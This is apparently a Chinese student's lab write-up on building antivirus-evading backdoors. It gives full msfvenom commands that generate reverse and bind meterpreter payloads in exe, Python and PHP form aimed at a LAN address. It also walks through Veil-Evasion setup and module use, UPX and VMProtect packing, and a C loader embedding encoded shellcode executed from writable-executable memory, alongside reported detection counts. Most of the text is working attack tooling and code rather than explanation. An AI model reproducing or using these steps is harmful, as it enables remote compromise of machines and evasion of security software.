@Half-Bread
2020-04-02T03:00:26.000000Z
字数 4215
阅读 193
网络对抗
使用msfvenom生成后门程序时,可以使用-e参数指定要使用的编码器,-p可以指定payload,那具体有哪些编码器和payload可以使用呢?
payload存放在/usr/share/metasploit-framework/modules/payloads
中,MSF的编码器存放在目录/usr/share/metasploit-framework/modules/encoders
下。可以发现MSF的编码器和payload都是按语言或平台类型来存放的。
payloads下分成三个目录,singles是将payload一次性分过去,若payloaad比较大,会把其分成两个阶段,一个是stagers,一个是stages。
这次实验payload使用bind_tcp_uuid.rb
,使用x64的xor.rb
编码器。
使用命令msfvenom -p python/meterpreter/bind_tcp_uuid -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f exe > zy20174317_backdoor.exe
生成后门程序。
图
使用新的payload可以稍微降低被检出的概率
生成python:
msfvenom -p windows/x64/pingback_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
居然0报毒
msfvenom -p python/meterpreter_reverse_tcp -e x86/xor_dynamic -b '\x00\x0a' LHOST=192.168.0.103 LPORT=4317 -f py > zy20174317_backdoor.py
也是0报毒
生成php
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.0.103 LPORT=4317 -f raw > zy20174317_backdoor.php
能够检查出来是病毒,但是多数杀软还是认为没有毒的。
我使用以下方法成功安装,大概只花了几十分钟吧:
sudo apt-get update
sudo apt-get install -y veil-evasion
在update时出现了问题,出现类似校验不正确的提示“文件尺寸不符。您使用的镜像正在同步中?”。将http的镜像源改为https后问题解决。
在apt-get执行完后,将/var/lib/veil/wine/drive_c/Program Files (x86)
下的AutoIt3
文件夹移动到/var/lib/veil/wine/drive_c/Program Files
下,然后在终端中输入veil
进行安装。
use 1 使用免杀服务
list 列出能够使用的模块
使用 39 ruby/meterpreter/rev_tcp.py
set LHOST LPORT
gerate,生成的可执行文件位于/var/lib/veil/output/compiled/下,,etasploit位于/var/lib/veil/output/handlers/,源代码在/var/lib/veil/output/source/
检测
使用UPX给之前生成的软件加压缩壳
upx 20174317_ruby.exe -o 20174317_ruby_upx.exe
检测,稍微好了一点
下载后,使用VMProtect加壳,加壳之后文件大了不少:
检测结果如下:
使用veil生成shellcode,
进入veil后使用use 2使用Ordnance
use rev_tcp 使用反向tcp连接
设置IP端口号,使用xor编码器,输入generate生成
也可以使用msfvenom生成:msfvenom -p windows/meterpreter/reverse_https LHOST=192.168.0.103 LPORT=4317 -f c
编写调用shellcode的C语言程序
#include <windows.h>
using namespace std;
int main(int argc, char **argv){
unsigned char buf[] =
"\xeb\x23\x5b\x89\xdf\xb0\xe4\xfc\xae\x75\xfd\x89\xf9\x89\xde"
"\x8a\x06\x30\x07\x47\x66\x81\x3f\xba\x89\x74\x08\x46\x80\x3e"
"\xe4\x75\xee\xeb\xea\xff\xe1\xe8\xd8\xff\xff\xff\x13\xe4\xef"
"\xfb\x91\x13\x13\x13\x73\x9a\xf6\x22\xd3\x77\x98\x43\x23\x98"
"\x41\x1f\x98\x41\x07\x98\x61\x3b\x1c\xa4\x59\x35\x22\xec\xbf"
"\x2f\x72\x6f\x11\x3f\x33\xd2\xdc\x1e\x12\xd4\xf1\xe1\x41\x44"
"\x98\x41\x03\x98\x59\x2f\x98\x5f\x02\x6b\xf0\x5b\x12\xc2\x42"
"\x98\x4a\x33\x12\xc0\x98\x5a\x0b\xf0\x29\x5a\x98\x27\x98\x12"
"\xc5\x22\xec\xbf\xd2\xdc\x1e\x12\xd4\x2b\xf3\x66\xe5\x10\x6e"
"\xeb\x28\x6e\x37\x66\xf7\x4b\x98\x4b\x37\x12\xc0\x75\x98\x1f"
"\x58\x98\x4b\x0f\x12\xc0\x98\x17\x98\x12\xc3\x9a\x57\x37\x37"
"\x48\x48\x72\x4a\x49\x42\xec\xf3\x4c\x4c\x49\x98\x01\xf8\x9e"
"\x4e\x7b\x20\x21\x13\x13\x7b\x64\x60\x21\x4c\x47\x7b\x5f\x64"
"\x35\x14\x9a\xfb\xec\xc3\xab\x83\x12\x13\x13\x3a\xd7\x47\x43"
"\x7b\x3a\x93\x78\x13\xec\xc6\x79\x19\x7b\xd3\xbb\x13\x74\x7b"
"\x11\x13\x03\xce\x9a\xf5\x43\x43\x43\x43\x53\x43\x53\x43\x7b"
"\xf9\x1c\xcc\xf3\xec\xc6\x84\x79\x03\x45\x44\x7b\x8a\xb6\x67"
"\x72\xec\xc6\x96\xd3\x67\x19\xec\x5d\x1b\x66\xff\xfb\x74\x13"
"\x13\x13\x79\x13\x79\x17\x45\x44\x7b\x11\xca\xdb\x4c\xec\xc6"
"\x90\xeb\x13\x6d\x25\x98\x25\x79\x53\x7b\x13\x03\x13\x13\x45"
"\x79\x13\x7b\x4b\xb7\x40\xf6\xec\xc6\x80\x40\x79\x13\x45\x40"
"\x44\x7b\x11\xca\xdb\x4c\xec\xc6\x90\xeb\x13\x6e\x3b\x4b\x7b"
"\x13\x53\x13\x13\x79\x13\x43\x7b\x18\x3c\x1c\x23\xec\xc6\x44"
"\x7b\x66\x7d\x5e\x72\xec\xc6\x4d\x4d\xec\x1f\x37\x1c\x96\x63"
"\xec\xec\xec\xfa\x88\xec\xec\xec\x12\xd0\x3a\xd5\x66\xd2\xd0"
"\xa8\xe3\xa6\xb1\x45\x79\x13\x40\xec\xc6\xba\x89";
void *exec = VirtualAlloc(0, sizeof buf, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, buf, sizeof buf);
((void(*)())exec)();
return 0;
}
检测,居然只有两个杀软查出来了,但是神奇的是这个程序运行之后kali 完全没有反应,就是说这段代码没用(这大概就是为什么通过率这么高的原因吧)。
看别人好像可以,也可能是我的编译器的问题
使用veil的lua/shellcode_inject/flat.py
,什么都不需要设置,直接使用gnerate生成,会出现这种情况:
这里选择1,使用veil生成shellcode,使用reverse_tcp后,generate生成。
生成后检测如图,居然没被检测出来
基于C+shellcode,不同于直接执行shellcode的是先将shellcode与自己选择的任意字符进行异或操作,将异或后的字符串保存到程序中。程序在运行时会先恢复shellcode再运行。并使用VS2017创建Windows应用程序进行编译,参考这篇博客。
不能使用通过VirtualAlloc分配内存再执行的方法,而是使用了在编译时设置数据段可执行,然后再将shellcode数组的地址转为函数指针来执行shellcode的方式。